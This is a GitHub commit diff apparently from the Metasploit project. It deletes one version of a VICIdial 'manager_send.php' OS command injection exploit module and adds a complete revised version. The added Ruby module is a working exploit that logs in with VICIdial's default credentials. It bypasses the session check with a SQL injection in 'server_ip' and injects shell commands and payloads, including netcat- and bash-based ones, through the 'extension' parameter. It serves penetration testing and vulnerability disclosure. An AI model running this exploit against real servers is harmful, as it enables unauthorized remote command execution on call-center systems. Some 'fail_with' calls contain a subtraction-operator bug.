Skip to content

Commit 9516237

Browse files
Merge pull request #1 from jvazquez-r7/review-pull2569
Review PR 2569
2 parents 110daa6 + 2d4090d commit 9516237

File tree

2 files changed

+200
-119
lines changed

2 files changed

+200
-119
lines changed

modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb

Lines changed: 0 additions & 119 deletions
This file was deleted.
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'VICIdial Manager Send OS Command Injection',
16+
'Description' => %q{
17+
The file agc/manager_send.php in the VICIdial web application uses
18+
unsanitized user input as part of a command that is executed using the PHP
19+
passthru() function. A valid username, password and session are needed to access
20+
the injection point. Fortunately, VICIdial has two built-in accounts with default
21+
passwords and the manager_send.php file has a SQL injection vulnerability that can
22+
be used to bypass the session check as long as at least one session has been
23+
created at some point in time. In case there isn't any valid session, the user can
24+
provide astGUIcient credentials in order to create one. The results of the injected
25+
command are returned as part of the response from the web server. Affected versions
26+
include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The
27+
default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
28+
},
29+
'Author' =>
30+
[
31+
'Adam Caudill <[email protected]>', # Vulnerability discovery
32+
'AverageSecurityGuy <[email protected]>', # Metasploit Module
33+
'sinn3r', # Metasploit module
34+
'juan vazquez' # Metasploit module
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' =>
38+
[
39+
[ 'CVE', '2013-4467' ],
40+
[ 'CVE', '2013-4468' ],
41+
[ 'OSVDB', '98903' ],
42+
[ 'OSVDB', '98902' ],
43+
[ 'BID', '63340' ],
44+
[ 'BID', '63288' ],
45+
[ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ],
46+
[ 'URL', 'http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/' ]
47+
],
48+
'DisclosureDate' => 'Oct 23 2013',
49+
'Privileged' => true,
50+
'Platform' => ['unix'],
51+
'Payload' =>
52+
{
53+
'DisableNops' => true,
54+
'Space' => 8000, # Apache's limit for GET, it should be enough one to fit any payload
55+
'Compat' =>
56+
{
57+
'PayloadType' => 'cmd',
58+
# Based on vicibox availability of binaries
59+
'RequiredCmd' => 'generic perl python awk bash telnet nc openssl',
60+
}
61+
},
62+
'Targets' =>
63+
[
64+
[ 'CMD',
65+
{
66+
'Arch' => ARCH_CMD,
67+
'Platform' => 'unix'
68+
}
69+
]
70+
],
71+
'DefaultTarget' => 0
72+
))
73+
74+
register_options(
75+
[
76+
OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']),
77+
OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']),
78+
OptString.new('USER_ASTGUI', [false, 'astGUIcient User Login', '6666']),
79+
OptString.new('PASS_ASTGUI', [false, 'astGUIcient User Password', '1234']),
80+
OptString.new('PHONE_USER_ASTGUI', [false, 'astGUIcient Phone Login', '6666']),
81+
OptString.new('PHONE_PASSWORD_ASTGUI', [false, 'astGUIcient Phone Password', '1234'])
82+
], self.class)
83+
end
84+
85+
# Login through astGUIclient and create a web_client_sessions if there isn't
86+
# something available
87+
def login
88+
begin
89+
res = send_request_cgi({
90+
'uri' => '/agc/astguiclient.php',
91+
'method' => 'POST',
92+
'vars_post' => {
93+
"user" => datastore["USER_ASTGUI"],
94+
"pass" => datastore["PASS_ASTGUI"],
95+
"phone_login" => datastore["PHONE_USER_ASTGUI"],
96+
"phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"]
97+
}
98+
})
99+
rescue ::Rex::ConnectionError
100+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
101+
return nil
102+
end
103+
104+
return res
105+
end
106+
107+
def astguiclient_creds?
108+
if datastore["USER_ASTGUI"].nil? or datastore["USER_ASTGUI"].empty?
109+
return false
110+
end
111+
112+
if datastore["PASS_ASTGUI"].nil? or datastore["PASS_ASTGUI"].empty?
113+
return false
114+
end
115+
116+
if datastore["PHONE_USER_ASTGUI"].nil? or datastore["PHONE_USER_ASTGUI"].empty?
117+
return false
118+
end
119+
120+
if datastore["PHONE_PASSWORD_ASTGUI"].nil? or datastore["PHONE_PASSWORD_ASTGUI"].empty?
121+
return false
122+
end
123+
124+
return true
125+
end
126+
127+
def request(cmd, timeout = 20)
128+
begin
129+
res = send_request_cgi({
130+
'uri' => '/agc/manager_send.php',
131+
'method' => 'GET',
132+
'vars_get' => {
133+
"enable_sipsak_messages" => "1",
134+
"allow_sipsak_messages" => "1",
135+
"protocol" => "sip",
136+
"ACTION" => "OriginateVDRelogin",
137+
"session_name" => rand_text_alpha(12), # Random session name
138+
"server_ip" => "' OR '1' = '1", # SQL Injection to validate the session
139+
"extension" => ";#{cmd};",
140+
"user" => datastore['USERNAME'],
141+
"pass" => datastore['PASSWORD']
142+
}
143+
}, timeout)
144+
rescue ::Rex::ConnectionError
145+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
146+
return nil
147+
end
148+
149+
return res
150+
end
151+
152+
def check
153+
res = request('ls -a .')
154+
155+
if res and res.code == 200
156+
if res.body =~ /Invalid Username\/Password/
157+
vprint_error("#{peer} - Invalid Username or Password.")
158+
return Exploit::CheckCode::Detected
159+
elsif res.body =~ /Invalid session_name/
160+
vprint_error("#{peer} - Web client session not found")
161+
return Exploit::CheckCode::Detected
162+
elsif res.body =~ /\.\n\.\.\n/m
163+
return Exploit::CheckCode::Vulnerable
164+
end
165+
end
166+
167+
return Exploit::CheckCode::Unknown
168+
end
169+
170+
def exploit
171+
print_status("#{peer} - Checking if injection is possible...")
172+
res = request('ls -a .')
173+
174+
unless res and res.code == 200
175+
fail_with(Failure::Unknown - "#{peer} - Unknown response, check the target")
176+
end
177+
178+
if res.body =~ /Invalid Username\/Password/
179+
fail_with(Failure::NoAccess - "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
180+
end
181+
182+
if res.body =~ /Invalid session_name/
183+
fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
184+
print_error("#{peer} - Valid web client session not found, trying to create one...")
185+
res = login
186+
unless res and res.code == 200 and res.body =~ /you are logged/
187+
fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
188+
end
189+
res = request('ls -a .')
190+
end
191+
192+
unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m
193+
fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible")
194+
end
195+
196+
print_good("#{peer} - Exploitation looks feasible, proceeding... ")
197+
request("#{payload.encoded}", 1)
198+
end
199+
200+
end

0 commit comments

Comments
 (0)